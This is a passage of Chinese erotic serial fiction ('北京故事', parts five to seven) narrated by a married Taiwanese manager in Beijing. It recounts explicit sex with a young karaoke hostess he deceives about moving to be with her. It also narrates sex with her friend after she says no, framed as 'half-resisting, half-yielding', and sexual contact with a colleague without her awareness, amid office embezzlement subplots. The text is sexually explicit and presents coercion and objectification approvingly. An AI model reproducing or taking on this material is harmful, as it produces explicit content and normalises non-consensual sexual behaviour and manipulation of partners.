当我完全进入小静身体时,她不其然的低声发出一声“啊!”,我问︰“弄痛你了吗?”她说︰“不是,只是你刺太深了。”我仿佛没有听到她的话,脑海中只是听到我进入JESSICA身体时,她发出的一声“啊”。她身体娇小像个小内弹,跟她做爱一定别有一番滋味。还有曼君长腿,我好像看到了和她两腿之间的温柔处,然后进入她两腿之间。

我的身体跟在小静的结合着,脑海却跟其他女人做爱,一刹间我仿佛占有了数个女人,这一刻抱着JESSICA、那一刻抚摸LINDA的乳房,下一该又进入了曼君的身体。最后,我竟然又想到青青,但我没有想要跟她做爱,只想搂着她的纤腰抱着她,让她的乳房紧贴我的胸膛和她接吻。当要在小静身体出来的那一刻,我紧抱着她,不由自主的说出︰“青青,我想要你!”

之后我们躺在床上,周静问我︰“我喜欢刚才你叫我的名字?”,我想了一想,原来她听错了青青为静静。我们俩安静的躺大在床上拥抱着,没有说话。小静年轻的身体在我怀里,但想的全是刚在跟青青吃饭时她的一举一动。她温柔似水看着我的眼神,用手托着脸颊沈思的样子,长长的眼睫毛有规率的贬眼,双唇含着吸管喝饮料。

想到这我把小静的脸转向我,托起她的下巴吻起她来。然后我又想到她跷起的双腿,有时候是双腿交叉叠,有时候是并排往一边倾斜。于是我摸起周静的腿,青青的腿看起来跟周静的一样完美,小腿苗条,大腿丰满。我拼命的想往大腿上方看,但里面却被青青的裙子遮掩了。我唯有往上摸小静的大腿,摸到她私处时她微微的颤抖一下。

这时我心痛起来,是思忆的心痛或者是失恋般的心痛。我知道可以压抑心痛的方法是马上给我抱抱青青。于是我翻身压在小静身上,把她紧紧的抱着,分开她的腿,再次进入她的身体里。这次我在里面野兽般的乱冲乱撞,好像只有如此才可以舒缓心痛。也不知道叫了多少次青青的名字。最后仍是在叫着青青,然后在小静身体爆发出来。

小静道︰“丹尼,你刚才好威猛。我好喜欢你叫我的名字,但叫静静会不会很……叫小静好不好?”我说︰“好,小静。我想去洗一下澡。”她说︰“要不要放一缸热水,你好像昨天晚上的在里面抱着我?”

放了一缸热水后,我们俩又勉强的挤在里面。小静搂着我的手臂说︰“今天晚上是我的第一次,第一次有男人在我里面射出来。”突然睛天霹雳,我才想起原来刚才第二次我忘了戴保险套,心中十分懊恼不已,一下子说不出话来。她又说︰“你是第一个男人接触到我身体的,以前其他男人都要隔着保险套。”我不知道说甚么,只好说︰“我好喜欢,好舒服。”

她继续说︰“一个多月前我刚开始坐台,本来只想坐台不跟客人上床。但妈咪说有个男的知道我是处女,愿意出一万元。我受不住引诱,给他了。做完后我马上就走,回到宿舍里我觉得很恶心,吐了几次。过几天妈咪又找了一个愿意出七千的。我想既然已经给了一个男人,给两个又如何。有了第二次,以后有人出三五千的我都给,很快的我就跟五个客人做过。但每次做完我都想吐,马上要洗澡,想把他们的东西和气味洗掉。”

我有点不知所措,想想我给的一千跟其他人的五千、七千和一万比,真是小巫见大巫。

她转过头来看着我说︰“你现在会看不起我吗?”我虚伪的回答︰“怎么会呢?我喜欢你还来不及了。”她说︰“真的吗?你可以跟公司申请调来北京吗?我只想待候你一个人,不想再给其他男人或到KARAOKE上班。我们可以一起住,你去上班我去上学。我不是很会花钱的人。”

的确,从这两天的观察她不像是爱乱花钱的风尘女子。我问︰“你为甚么会喜欢我?”她回答道︰“我也不知道,可能其他男人一进房间就要我脱衣服,然后好像野人般的在我里面冲撞。好像不把我当人一样,附了钱就要拿回老本似的,有一个我怀疑他还食了药,弄了快一个小时都没完,最后他自己太累了自己用手解决。可是你不会,你昨天愿意跟我聊天很久,听我说话,才慢慢的温柔占有我。你知道吗?我从来没有跟容人睡过,每次在半个小时内我就走了。他们有的愿意再加一两千要不用保险套,但我从来没有答应过……”

我有点感动的道︰“我刚才不是也像野兽吗?”她说︰“是啊,不要紧,你刚才让我感觉好女人,好温柔,我喜欢。”然后又道︰“虽然你是我第六个男人,但我前两天才来完月经,我身体是干净的,而且我身体从来没有过其他男人的东西,除了你的之外。也从未跟他们接吻,我的唇只给你一个人亲过。”

我知道她在等我的答复便说︰“好,回去跟公司申请调过来北京。”心想,小静真好,现在在台湾交个女朋友,随时都不只跟五个男人来过。她高兴的说︰“好啊,那要多久才可以?”我骗她说︰“三个月吧。”接着她道︰“我也知道你喜欢我,因为你昨晚还不肯不戴套子跟我来,今晚却肯,还带我见你的同事。”

这时她爬过去调整水温,刚好让她的私处面向我。我内心一阵激动引起的欲望,也爬过去从她后面把她要了一次。这次也是没有戴套子,我想管他呢,死就死吧!食物对男人的帮助真大,海鲜加蛇汤,让我来了三次才觉得有一点点累。之后我们躺在床上,睡着了。

北京故事(五)

星期四早上,新闻报告说今年的雪下得早,昨晚北京郊区已经有一点雪。我望出窗外,北京市还没见有雪。自从我留美回国后就再也没见过雪。如果这次可以见到也不错。小静面带倦容的对我说︰“你睡那么少不累吗?”,言下之意,昨晚弄到那么晚,又来了三次,我应该满累的。但我不累,相反还很精神,因为约了青青吃早餐。我也不知道为何我对青青突然有那么大的冲动,可能是吃不到的葡萄比较吸引吧。任何男人有了小静都应该满足才对,但我现在却想叫她离开,好让我把青青带回来。

我再洗一次澡,在浴中小静问今天我要穿蓝色或黑色的西装,我随便说我要黑色的。从浴室走出来发现她把我今天要穿的都准备好放在床上。我佻皮的去亲她一下然后说︰“谢谢老婆。”她笑着回答︰“真坏!”我叫她再睡一回,然后去上课。她说下完课会再来找我。我不知要怎么推只好说好,但说今晚有事,可能很晚才回来,然后留了一把门钥给她。

我下去青青的楼层,在她门外偷听了一会,只听到电视和水龙头的声音,然后按门钤。她出来开门时,头发湿湿的,说︰“不好意思,我还没好,不然你先进来坐一下,我吹完头发就行了。”我坐在沙发上,听着她在吹头,看着挂在衣柜里的胸罩,看起来胸罩也不小,幻想我有一天会是解开那胸罩的人。

早餐时我一方面跟她说外郊下雪,可能北京也会下雪,一方面找尽机会偷喵她那双昨晚令我和小静做了两次爱的美腿。她今天还是穿标准的半截裙加白衬衫套装,一看就是新的。可能她知道先敬罗后敬人的道理,新官上任,要穿的比较好。因为她裙子长度和昨晚一样,我看到的也一样多,但也可以暂解我对她双腿的渴望。她说她很想见到雪,因为她从没见过雪。

一个早上在业务会议中度过,中午跟同事说我不吃,但却约了青青到附近的馆子。问了她一下查帐的进展,她说查不到甚么,一切都好像没问题。我说查本公司的帐当然没问题,因为在进帐前都已经被处理掉了,我叫她去银行查,看进来的货款是别家公司付的,还是简兄弟付的,如果是简兄弟付的就八成有问题。大慨是先从客户拿到支票,拿了回扣,再另外开支票给公司。我想多一点接近她的时间说今晚要请大陆官吃饭,叫她一起来。

回到公司同事告诉我今天晚上要见的那位干部不在北京,不知道为甚么要下周一才回来。今天晚上的饭局是这次来的主要目的,因为明天是开标日,本来他肯接受我们的邀请就是代表我们得标了。现在他不在北京那开标日也会压后到下周,于是我打电话回去给老板说明白,说我要留到下周等开标。老板说好,不过既然我要多留就叫青青也多留吧,让我跟她多说一点北京公司的事,好让她接手比较容易。我当下喜出望外,跑去准备跟她说。但她听我的话去了银行查帐,找不到人。我打个电话回家跟老婆说,行程有变,香港之行要除消。她表示有点失望,我说我也是,但心下却暗喜。

过一会青青兴奋的回来说︰“果然不出你所料,简兄弟的货款全都是从简兄弟的账户转过来的,那我们现在怎么办?”我说︰“不用急,老板刚才说要我们多留一下到下星期,你现在先了解一下北京公司的状况,等我叫其他人把简两兄弟找回来再说。”她听了知道这周未可以留在北京玩刹是高兴似的。

之后我把公司全部三十个员工招来,跟他们介绍他们新任财务主管。北京同事每见到台湾来的人都客客气气,他们不知道青青在台湾的职位不高,对她很有礼貌,很客气。青青可能是第一次受到这种礼遇,显得有点不知所措,所以我陪在她身旁帮她解围。青青由于在北京人生路不熟,又是第一次出门,甚么事都不敢做不敢试。却要在众人前装起主管的模样,也是满幸苦的。所以每当她跟我谈话时,因为不用再装主管,都很自然,很温柔,好像我的小妹妹,虽然她也只比我小一岁。

因为晚上大陆官爽约,我提议大家一起去吃饭,欢迎新主管上任。青青在台北哪曾受过如斯款待,心里既是高兴也是不习惯。几天前在台北只是一名会计,来到这却有二、三十人奉承她。青青挑了北京最有名的全聚德烤鸭,在天安门附近。我叫她工作先不用做了,还有下个星期嘛,回酒店休息一下,等一下我跟她先到天安门逛,然后才去吃烤鸭。她没甚么主见的说好。送她回酒店的时候,经过酒店的SALOON,我灵机一触,说今晚是她是主角,要不要去弄一下头发。她觉得酒店的价格太贵了,我说不要紧,记在我帐上就好。然后她问我要怎么弄才好看,我说,短一点,到肩膀处就好了。留下她一个人在SALOON,我独个回房间,小静不在,我自己躺在床上睡觉,心里想如果现在青青能躺在我旁边会有多好。

到时候我去她房门按铃,开了门只见她换了一套新衣服,是一套紫色丝绒套裙。裙子比较长,看不到大腿只看到小腿。但衣服很贴身,把她的纤腰和丰满的胸部显露出来。我看她胸部大慨有34C左右,跟小静的差不多,腰也只有25寸,以她27岁来说算很好的。而刚剪过的头发现在只有到肩比起以前到背,看起来年轻了许多。前面留了一点海,侧面平贴着她的脸,加倍衬托出她脸的线条美。我看得有点目瞪口呆,心跳加速,只怪自己如此尤物为何以前没有留意到。她问︰“怎么样,有甚么不妥吗?”我急着回答说︰“没有,你很美。”她红着脸说︰“谢谢!”

公司的司机把我们戴到天安门,那时刚是黄昏时分,离日落大慨只有半个多小时,可是这时的夕阳等别美。青青很兴奋好奇的到处看,吱吱喳喳的话说个不停。我却只在旁看着她诱惑苗条身段。她看到有人在广场上放风筝,很好奇,说她也要放,于是我买了个风筝给她。广场上秋风虽大但她怎么样也放不起来,因为她不会放。我就在她背后,抓住她的手,教她甚么时候要收紧,甚么时候要放松绳子。其实我也不大会,所以放了一下还是放不起来。

我看时间差不多了,今天是放不起来的,催她要走了。她失望的说︰“再放一下就好,可能会放起来的。”我知道她是不可能放起来,看到旁边一个小朋友放的满高,就把他的风筝给买下来,拿去给青青玩。青青拿过风筝,看它在天上高高的飞,非常兴奋,一直把线给松掉,风筝便越飞越高。我说不要再高了,不然等下收回来要很久。她说︰“风筝在上面那么开心,为甚么要收回来?让它飞走好了。”最后风筝线到了尽头,她回过头跟我说︰“丹尼,请你把线弄断好不好?”我便把线接过来,一手把线给扯断了,但也不小心把手掌给割伤了一点。她看风筝飞去,满脸好像有无限的愁思的说︰“不知道风筝最后会到那里呢?”转过头来发现我被割伤的手说︰“你没事吧,痛不痛?”我嘴里说︰“不痛。”心里想只要能抱抱你,最痛十倍也无所谓。

本来打算叫计程车到饭店,但青青看到一排两人座的人力脚踏车,说我们坐那个好不好。饭店不远,坐那个玩玩也可以,但现在秋风凛凛,坐那个开逢脚踏车会冷,我对她这样子说。她说不要紧,于是我们叫了一辆来坐。坐上去后车拿了一条老旧毛毯给我们盖脚。青青第一次出门,甚么都觉得好玩,连坐这个也很兴奋。过不多久,风实在太大了,青青不禁哆嗦起来。我见状很自然的把手伸过去搂住她的肩膀,一只手握着她的双手,放在毛毯底下。她没有抗拒。我们放在毛毯下的手相握住,偶尔我可以碰到让我朝思梦想的大腿,但我不敢乱来,手还是规规矩矩的。只是我本来搂她肩膀的手,现在变成搂她的纤腰,也乘机把我的胸膛住她那儿靠,让她把头靠在我胸口上。当她靠过来后我胸口可以感受到她的唿吸,我希望脚踏车一直开下去不要停,青青永远的躺在我怀里。

本来路程就不长,快乐的时间过得等别快,车停下后,我们还不知道已经到了,要车下车用标准的倦舌北京腔说︰“先生小姐全聚德大饭店到了。”我们才知道已到了。原来青青刚才躺在我胸口睡着了,一醒来就︰“哟”一声然后把手缩回去。我先下车,牵她的手扶她下车。当我们走向饭店时,又听到车说︰“祝先生太太福寿延年,儿孙满堂。”

公司三十个人办了三桌,因为我们迟了二十分钟,所以其他人都到了。走进去的时候,青青看这么多人在等我们,看我们,好生别钮。有一个同事马上问︰“天安门好玩吗?”我回答︰“好玩,只是风有点大。”一个比较佻皮的马上笑说︰“那丹尼有没有帮施小姐挡风啊?”我见状窘迫就改变话题叫他们点菜。

宴中青青很贤慧的坐在我旁跟其他女同事闲聊。我趁机多看几眼她雪白美腿,这是我最近距离看的一次。菜色她每一样都说好吃,尤其是填鸭。最后我说不吃了,她还主动的包一块给我。当中男同事不好意思说,女同事却有几个称赞她新剪的头发和这套衣裳好看。宴后大家都回家,没有再找节目,我想我也要回酒店看小静在不在。但有位女同事跟我说,我应该带青青去玩玩,她今晚为我妆扮得这么漂亮。我心里一凛想青青今晚这样是为我吗?不会吧,女孩爱美而已。不过我想也是,应该带她去其他地方玩,不要没得做爱就不理人。

于是我们来到酒店对面的HARDROCKCAFE,我们在那里喝酒,青青不喝酒,只叫了杯饮料。那晚是HARDROCK的情人之夜,乐队唱的都是老情歌。我们随音乐起舞。我搂着她的腰,在舞池中慢舞,背景尽是一些陈年老歌︰“月亮河”、“烟走进的眼睛”、“永在我心头”等等。舞中我们虽然没有说话,但却是十分的自然,我在享受这一刻的亲密,她好像也陶醉这浪漫情境中。

到了十点左右,情人之夜结束,换来了爵士乐队表演。我们便离开了。一出大门又是秋风阵阵,我搂着她让她把头藏在我的大衣里,两人相拥走回酒店。

来到她房门前,我知道马上就要失去她,心痛的感觉随之而起。她说︰“谢谢你今天晚上陪我,我很开心。”我说︰“我也是。”我想不到其他话,就说︰“明天早上一齐吃早餐。”她道︰“好,晚安。”然后把门关上。当时我想一手把门挡住,冲上前抱住她。但我没有这样做,心想今晚回房间再找小静把她当成青青算了。

小静一见我就说︰“你整天去哪里了?我等了你很久。我骗她说︰“今晚比较忙。”然后抱住她。她道︰“妈在宿舍留话叫我回家,不知道有甚么事,等你又等不到,我快想走了。”

我听到她要走,有点失望的说︰“好吧,希望没甚么事,你快去快回,我等你。”打开门要进房间,发现她的朋友林诗倩睡在床上。她小声说︰“是诗倩收到我妈的留话,跑来这里告诉我的,等你等得不耐烦,她睡着了,你不会介意她睡我们的床吧?”我说︰“不会,你要不要叫醒她和你一块走?”她说︰“不用吧,她好像很困,给她睡吧。你累不累?要不要等我回来一起睡?”此时我心里想青青想得有点烦,想跟小静在一起就说︰“不然我跟你一块回去吧。”她有点高兴,但最后还是说︰“不用了,我爸很烦的,会问你很多东西,我想我不会回去太久。”说完了她就离开。

浴室在房间里,如果我去洗澡一定会吵醒诗倩,我就躺在沙发上,回想今晚和青青的点滴,想到有点心烦,拿起房内的小酒办喝起来。喝了三、四瓶,小静还没回来,我心里也没平静下来,但林诗倩却起来了。之后我做了一件我后悔的事,我每次出来玩,都不想把小姐光当成泄欲工具。虽然享受她们身体是最终目标,但我总是想要有一点风雅。

可能是酒精和想青青的关系吧,我跟诗倩谈了几句,就问︰“你和小静都是出来做的吗?”她反问说︰“你为甚么要问?你在哪儿认识小静的?”。我继续问︰“那你跟客人出去要多少钱?“她不耐烦的说︰“干嘛,你想上我吗?”所谓年少无丑妇,诗倩虽没有小静来得正点,大约也有她的八成吧,但有新鲜感,加上名字有个“青”字,已经挑起我的欲望。

我回答说︰“不行吗?”一放面去抱她,她躲不开,说︰“不要啦,你是小静的男朋友。”其后想起,我真的很爱新鲜,如果当时是小静和诗倩给我挑,我还是比较想要诗倩,不是因为她比较好,只是因为她新鲜。诗倩因为是做小姐,比较没有女孩应有的矜持,口里说着不要,还是半推半就的让我把衣服脱掉。她刚睡醒本来就没穿太多,毛衣外套的都没穿,没几下就脱完了。我对她的身材记得不多,因为一切发生都很快,我连她胸部长甚么样子都没看清楚。只记得我跟她有戴保险套,当我在她身体里时,我看到的只是青青的脸,尤其是她的双腿。

之后诗倩马上穿上衣服走出客厅。“小静你回来了。”我听到她说,知道小静已经回来了。然后小静开门进房坐在床边向我说,那时我还没穿衣服,“我不能禁止你找其他女人,但诗倩是我的好朋友,你跟她这样我很难接受。”我愧歉的说︰“对不起,是我一时煳涂,你家没事吗?”她说︰“没有,谢谢你关心。”

我发现她刚从外面回来,手还是冰的,把她拉进被窝来,她不请愿的进来,但脸不肯朝向我。我亲她,挑豆她,她都没反应。我脱她衣服,她不抗拒但也是冷冰冰一样的没反应。最后我跟她做最后一次爱,做完了她脸背向我,不和我讲话。我没办法只有抱着她睡。

星期五早上起来,她还是为我准备好要穿的衣服,放在床上。她还不知道我要多留,以为我今天就走,跟我说︰“你还会回来找我吗?”我继续骗她说道︰“会等安排好调动的事情我就会回来。”她道︰“昨天我很伤心,没有好好的配合你,你不会怪我吗?”我道︰“不要紧。”她又说︰“只要你再回来找我,我不会在乎你跟诗倩的事,好吗?”我说︰“好,我一定会再回来找你的。”然后我把我在台北的手机号码留下给她,抱着她亲了她一下,就离开房间去找青青。

那是我最后一次见到小静,之后我回来北京,想再去找她,但都怕给她问起调职的事而作罢。

新鲜是我出去玩的主要目的,我曾试过连去四晚KARAOKE,四晚都找不同的小姐。我不记得有哪一次我找过同样的小姐两次,更不要说和她们发生超过一次关系。这几天我和小静连续做了六次,可以说是打破我的惯例。但事后想起,和小静的那几次是最满足的,更不要说她除了第一次拿过一千块后,再也没拿过钱。每次和其他小姐做完爱后,当冲动的心情化为平淡,心里总是十分的空虚。但跟小静做完后我却感到一丝丝的满馨,心中有暖意。就好像当年在大学和喜欢的女同学做完后一样的满足。她又实现了我多年对女秘书的幻想。

自从跟小静来过后,我去玩的欲望减少了许多,每次见到新的小姐我都会觉得她们不如小静,就算和她们上床,事后也会觉得索然无味。后来想起为甚么我不爱小静而爱青青,我发现可能是因为我跟小静的次序颤倒了。我们是先发生了关系然后我对她有欲望。而我和青青却是先有欲望才进一步发生关系。

新闻报告说星期四晚上郊区录得更多的落雪,北京市还没有雪,但气温会急剧下降至零度或以下。

今天她还是穿了一套标准的上班套装,只是今天的裙子更短,更窄。短到只遮到她屁股下面一点点,窄到她走起路来屁股会随着她的步伐而两边摆动。我当然是乐得眼睛吃冰琪淋,但一来不忍心她受冷,二来今晚小静不在,我怕会被自己的欲火烧死,就跟她说,今天会很冷,要多穿些。她说她有带大衣外套,公司只在对面不要紧。

从早餐开始到在办公室的极天,我都尽力偷喵她的腿。她穿着高根鞋这样子一站,高根鞋强迫的托起她的屁股。那么短的裙子,整双腿是纤亳不露的展现在我面前。尤其是每次当她背着我的时候,我都是目不转睛的看着她。我想要是今晚忍不住的话,就要到楼下KARAOKE找小姐。我的工作已经做完了,所以星期五整天我都在财务部陪着她,跟她和其他女同事打屁。她做起事到比我认真,而认真的女人最漂亮。

“我想简两兄弟涉及金额可能在一百万人民币左右。”青青说,“希望他们没有全花光吧。”我说,她担的问︰“那我们现在怎么办?”我说︰“我们有时间不用怕,一定会找到他们俩的,在大陆要躲起来很难的。”我猜其他SALES不是找不到他们俩,而是找到了也不想说出来,怕害了他们。于是我招集了几个我猜跟简两兄弟比较要好的SALES,跟他们说︰“我跟简两兄弟交情也有一点。我下星期还会多留几天,如果他们俩可以见我的话,我一定会尽力的帮他们拉。但如果我走了,公司再派其他人来找,事情就不好办。我们是美商公司,如果跟其他政府单位投诉,要把他们俩找出来也不是很难的。”我知道他们当中会有人传话给简兄弟的。

北京故事(六)

星期六不用上班,星期五下午大家都很早下班,有几个说要留下陪我们,也给我推了。我约了司机明天带我们去长城。晚上我们去一家老舍茶馆看表演,这一家东西在北京大有来头,是专门表演传统中国艺术如歌剧,相声的。当年尼克逊,KISSINGER,还有日本首相等大官都来过这看表演。我对这些东西其实没甚么兴趣,反正也不知道在唱甚么,演甚么,除了最后一个相声外没有一个看得懂,听得惯。青青到好像很有兴趣的每样仔细的看。不过也无所谓,可以看她的腿和握她的手我也很满足,我想我看她腿的时间比看表演多几倍。

之后我们去北京数烤鸭外第二出名的食物,涮羊肉。涮羊肉其实就是羊肉火锅,不过酱料很特别,能去除羊肉本身的“骚”味。我们去一家叫能仁居的涮羊肉店。能仁居可能是除了全聚德外北京第二大门号。它先在这条街开了一家本店,其后又在其他地方开分店不说,但因为他在这条街的店生意太好,现在这整条街都是涮羊肉店,少说也有二、三十家,所以这条街又叫“涮肉一条街”。

北方人真能吃,点菜的时候问我们要多少盘羊肉,一盘八两,我想青青吃不多,就说要一盘好了。店员说太少了,我说好吧,那来两盘吧。她说太少了,我们不够吃的,那我问她说要来多少盘才好。她说像我这样子的小伙子(北方的)每个都起码吃四、五盘,有的吃七、八盘。我们两个起码来个四盘吧,不够再叫。我想四盘不就两斤,大陆的斤又比较重,怎么吃得下?不过不想给店员小看,就说好,来四盘。来了四盘小山般的羊肉,我们苦笑了一下,我说︰“慢慢吃,吃不完的最后都掉下去煮。”

以北京寒冷的天气吃涮羊肉是最好不过,羊肉切很薄,水很烫,所以沾两、三下水羊肉就熟了。吃起来很热很燥,最好是边喝冰凉的啤酒边吃。这里的青岛啤酒是我最喜欢的(这可跟青青没有关系),因为它听说是用庐山矿泉水酿的,(其实我也不知道庐山在那儿,有甚么好)。反正喝起来很清凉,很顺口。味道是我喝过最清澈的,但不会淡至淡然无味的样子。

我跟青青聊起公司以外的事,我问她喜欢甚么。她说︰“我喜欢看电影,因为可以看到很多外国的事物。”我问︰“那不如去外国玩好了。”说完后有点后悔,知道如果可以,青青一早就会去外国玩了。她说︰“我也想,以后我一定会去外国看看,希望去了以后可以好像你这样懂这么多东西。”

我不好意思说︰“其实我懂得不多啦,我留美时是在一个小城市,比起其他在大城市,加州的那些人算少啦。”她伤感的说︰“那也总比我从未离开过台湾好。”我道︰“不会啊,你现在不是离开台湾了吗?”然后再安慰她说︰“你以后一定可以多出国的。”她道︰“就算可以出国也没用,我甚么都不懂,这次如果不是你在,他们昨天才不会请我吃饭。”

我冲口而出的说︰“不然以后我带你出国玩好不好。”她抬头看了我一眼,然后马上又低下头继续吃碗里的东西。我觉得气氛有点不妥,后悔刚才所说的话,马上转变话题说︰“吃这个很热,你要不要喝点啤酒凉一凉?”她说︰“我不喝酒。”我道︰“这酒很淡,没甚么酒味,你喝一口看看。”看她在犹豫,我又说︰“真的不骗你,而且它以你名名叫青岛。”拿起酒杯到她面前,青青犹豫了一阵,接过酒啤,试了一小口,然后做了个鬼脸说︰“好苦。”我笑着说︰“一点点啦,你当它是咖啡喝好了。”

这时不知道是酒的关系还是炉火,青青的脸颊泛微红,比起化妆品的红自然多了,很可爱,如果不中间隔了个炉子,我会上前亲她一下。没多久,她又从我的酒杯喝了第二口,之后第三口、第四口,这样她开始喝起啤酒来。

在回酒店的车上,她在我的臂内睡着了。到了她房门口,本来我想跟她说再见,然后下楼下KARAOKE找小姐。但看到她那短裙遮不住,几乎全裸的双腿,我突然色心大起,勇气百倍增,把她抱着。她也很自然的依偎在我怀里,没有反抗。我托起她的头,吻她小嘴,她也没反抗。最后我们躺在床上,她躲在我怀里。这时她忽然说︰“我见过你老婆,她很好,也很爱你。”我内心激动,没有回答。她继续说︰“我不想伤害她,但我想你抱我,你可以只抱我,不想其他的事吗?”我说︰“好。”从对面的镜中我看到她那双我朝思晚想的腿,雪白晶莹,没有一点瑕疵、没有一丝缺点。面对镜子,这样她双腿第一次完全的展现在我眼底。这样的情境要我把持住是谈何容易。

青青道︰“丹尼,你喜欢我今天的这条裙子吗?”我道︰“我很喜欢,你穿了很性感。”她带点高兴的说︰“我是为你穿的。”我说︰“哦?”她继续说︰“我知道你喜欢看我的腿,今天特意穿这裙子给你看。”我这时也不必隐瞒,诚实的承认︰“你的腿好美,我很喜欢,你不喜欢我看你吗?。她说︰“我喜欢,当你看我时,你的眼神让我觉得我很温柔,从来没有人这样子看我的腿。”我道︰“那是因为他们没福气看你穿这裙子,不知谁会有福气可以摸它。”说完了我吻她一遍。

青青说︰“那你不想摸吗?”我说︰“当然想,可是我刚才答应只抱你不去想其他事。”她说︰“我想只摸一下不会伤害到你太太吧。”于是我伸手往下探,终于可以摸到叫我疯狂的腿,虽然只是隔着丝袜,我也可以感觉到它的顺滑,我手在上面运动好像毫不费力般。她腿的肌肉结实而有弹性,没有一丝下坠的迹象。青青的唿吸加速,我的也越来越重。我疯狂的吻她的嘴,她也紧张的咬我的唇。但她仍努力地把我手活动范围限制在裙子之下。几次我试探性的去摸她的臀和两腿内则都被她挡回来,同样地,我几次想夸过腰部去探索她的乳杯也被她挡下。我没有勉强她,因为我对她的感觉跟我对小静或诗倩等不同,我不愿意用强,害怕会伤害她。

但我这时身体很难受,我那儿涨裂到快要爆炸了,极之需要人安慰。顺手的我把她的左腿拉到我胯下,她没有反抗。这样子我那儿可以摩擦到她的左大腿。虽然只是隔着裤子和丝袜,她性经验尚浅,不知道我在干甚么,当她发现有异,想把腿缩回去时,我心跳加速,心口好像被块大石压住,我那儿在她大腿上又作了一次摩擦,竟然就这样子我在我裤子里爆发出来了。

她把腿缩回去后,未曾察觉有异,还是继续躺在我怀里,而我也继续吻着她。我心跳,唿吸渐渐减慢,身体开始放松,但双手仍不愿离我的礼物°°青青的美腿。她不知道我身体发生了变化,说︰“听说男人如果这样抱着女人会想入非非的,是吗?”我说︰“当然啦,还用说。”她说︰“那为甚么你没有?我不够漂亮、吸引吗?”。我翻身把她压在下面说︰“你很漂亮,非常吸引我,没有人可以给我任何东西把你从我怀里换走的。”这倒是我这时心里的真话。

“我知道你不想,我不会勉强你。”她说︰“如果你太太现在出现,你就要跟她走了,不是吗?。”然后她又说︰“如果你刚才硬来,我最后也是会随你,只不过可能明天以后我不会再见你。”我叹息的道︰“唉,我知道我已有老婆,不应该对你有甚么念头。”她说︰“不,丹尼。我喜欢你对我有念头,也不介意你已有老婆而做你第二个女人。只是我见过你老婆后,她真的很爱你,我不想伤害她。”我没回答,只是继续亲她,然后说︰“我现在可以抱你,亲你和摸你的腿就已经很满足、高兴了。”之后她就在我怀里熟睡,应该是今天刚喝酒不习惯,或者是今天刚喝酒,行为开放才会要我抱她、摸她。无论如何,我们第一次的亲密接触是因酒°°啤酒°°青岛啤酒而起。

星期六早上起来,在室内也可以明显的感觉到气温的下降。青青还在熟睡中,我没叫醒她,让她继续睡,我却继续抚摸她的腿,然后偷偷的用手指轻扫她的臀,两腿内则,然后到胸部,深怕惊醒她。到胸部后她突然抓着我的手,压在她的胸脯上。这是我第一次接触她的乳房,虽然只是轻轻的按乳房表面,但也可以大慨掌握到她乳房的大小,和弹性。我当时觉得,应该算是不错的一双乳。本来我想再摸一下,但她醒来了。我把手拿开她的乳房,亲了她一下。她对我笑了一笑,我问她︰“睡的好不好。”她回答︰“当然好,被你罐醉了。”

我们这时还是穿着昨天的衣服,我把她抱在腿上道︰“我回去洗个澡,待会再来找你。虽然你美极了穿这套衫裙,但今天一定要多穿些。不然今天在外面你会冷病的。”然后我亲了她一下就离去。

北京故事(七)

点到房后马上把昨晚我自已弄脏的裤子送洗,心想要洗我裤子的人真可怜。抱着一个人睡是很累的一件事,今早我的脖子很紧好像被拧歪一样,不过可以抱着青青睡一晚甚么都值得。

长城上次他们带我去过。一般人都是会去长城、明皇十三陵,这样子一天就差不多了,而且司机说今天会比较冷,晚一点出发比较好,在路上我们也不怕给司机看到回公司讲,要嘛握着手,要嘛我搂着她。途中经过一个满大好像房地产发展区的地方,看起来好像建了一半没建完。青青好奇的问,司机回答说︰“这个地方叫鬼城,前几年地产好的时候建的。但建到一半地产市道滑落,人门发现这里太远了。所以没人买,建到一半没钱建了。只好让鬼来住,所以叫鬼城。”青青被司机这北方式幽默逗得开怀大笑。

长城是一个远观比较好看名胜。远远的看起来巍然嵩立,延绵无尽,但到了长城下看它只一座比较大的城墙,而且又很旧,多处破旧不堪,如果真的要修补不知道要多少人力物力。长城尚且如此,社会上的人又何尝不是?外表看起来英俊挺拔,正气凛然,但接触多了却会发现他们大都是自私自利,损人利己的岳不群。青青外表固然美丽动人,但最难得的是有一颗善良的心,她昨晚说的︰“不愿意伤害你老婆。”她由此至终都做到。青青远看美丽动人,但近看她的心比她外表还美丽。

长城在于北京以北,长城里的人告诉我们,昨晚下了一丁点儿雪,但今早一早就溶掉了。远看在视觉边沿的山峦已被白雪覆盖,白茫茫的看不到一点绿。青青向着被白雪覆盖的山峦说︰“好美的雪,不知道雪里有没有人住?。”我道︰“有啦,你前两天放走的那只风筝就飞到这里住。”她说︰“你怎么知道的?我就是希望他会飞到有雪的地方。我最希望可以在外国过一个白色圣诞。”

她问了一些我在美国过圣诞的事,我一一的跟她说。然后她又说︰“在电影上看到雪我就会想起白纱,我一直在幻想我以后的丈夫一定跟雪有关。”我问︰“丈夫跟雪会有甚么关系?”她说︰“不知道啊!可能我跟他是在雪地认识的,或者他是第一个和我看雪的人。”我佻皮的说︰“那我现在跟你一起看雪,算不算?”她说︰“不算,一定要摸到雪才算。”那时我心里祈祷,神啊,请你行行好,快快下雪吧!

去完长城、十三陵后我们都累了,时间也不早。回到北京城天也黑了。这几天吃太多、太好了,所以我们决定晚餐要简单一点。司机提议我们去西单吃饺子也算是北京一大特色。点菜时碰到跟吃涮羊肉同样的麻烦。这里一小笼十二个,一大笼二十四个,还有特大笼就不说了。我们知道只点一小笼店员一定不会放过我们的,所以点了两小笼。殊不知店员还是那套,我们的小伙子随便都吃三、五十个,又说他们的饺子是北京城多有名多有名,远道从台湾来不多吃可惜。

最后我们将就点了三小笼。两个人只吃一笼半,剩下一笼半打包回去给司机吃。北京饺子的特色是味道分明,咬下去肉跟菜可以分辨出来,沾的酱油不一样,配上饺子倒是满好吃。后来在台北,我们还特意去了项泰丰想重温一下当日的情影。但不知道是真的味道不同还是怎么样,我们总是觉得北京西单的好吃。

